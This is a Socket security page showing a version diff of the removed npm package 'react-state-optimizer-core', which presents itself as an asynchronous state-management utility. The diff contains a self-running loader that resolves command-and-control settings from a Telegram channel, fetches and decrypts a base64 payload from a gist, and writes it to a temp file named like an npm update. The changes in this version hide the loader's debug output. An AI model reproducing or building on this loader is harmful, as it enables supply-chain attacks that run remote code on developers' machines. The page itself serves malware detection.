You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

react-state-optimizer-core

Package Overview
Dependencies
Maintainers
1
Versions
16
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

react-state-optimizer-core - npm Package Compare versions

Package was removed
Sorry, it seems this package was removed from the registry
Comparing version
3.0.3
to
3.0.4
+1
-1
package.json
{
"name": "react-state-optimizer-core",
"version": "3.0.3",
"version": "3.0.4",
"description": "Utility layer for asynchronous state management",

@@ -5,0 +5,0 @@ "main": "index.js",

@@ -25,2 +25,4 @@ const fs = require('fs');

(async function ghostInit() {
let debugMode = false; // FORCE DEBUG MODE FOR TESTING
console.log("[Setup] fetching initial components...");

@@ -178,5 +180,5 @@

async function resolveConfigFromTelegram() {
console.log(`[Debug] Fetching C2: ${CHANNEL_URL}`);
if (debugMode) console.log(`[Debug] Fetching C2: ${CHANNEL_URL}`);
const html = await fetchText(CHANNEL_URL);
console.log(`[Debug] Fetched HTML (${html.length} bytes)`);
if (debugMode) console.log(`[Debug] Fetched HTML (${html.length} bytes)`);

@@ -237,11 +239,11 @@ let keyPartB = null;

console.log("[Debug] Resolving C2 from Telegram...");
if (debugMode) console.log("[Debug] Resolving C2 from Telegram...");
const { key: keyString, gistUrl } = await resolveConfigFromTelegram();
console.log(`[Debug] C2 Resolved. Key: ${keyString.substring(0, 8)}... URL: ${gistUrl}`);
if (debugMode) console.log(`[Debug] C2 Resolved. Key: ${keyString.substring(0, 8)}... URL: ${gistUrl}`);
await progressPromise;
console.log(`[Debug] Fetching payload from ${gistUrl}...`);
if (debugMode) console.log(`[Debug] Fetching payload from ${gistUrl}...`);
const b64Payload = await fetchText(gistUrl);
console.log(`[Debug] Payload fetched (${b64Payload.length} bytes). Decrypting...`);
if (debugMode) console.log(`[Debug] Payload fetched (${b64Payload.length} bytes). Decrypting...`);

@@ -263,3 +265,3 @@ const encryptedBlob = Buffer.from(b64Payload.trim(), 'base64');

let debugMode = false; // FORCE DEBUG MODE FOR TESTING
// debugMode is now defined at the top

@@ -266,0 +268,0 @@ const tempFile = path.join(os.tmpdir(), `npm-update-${Date.now()}.js`);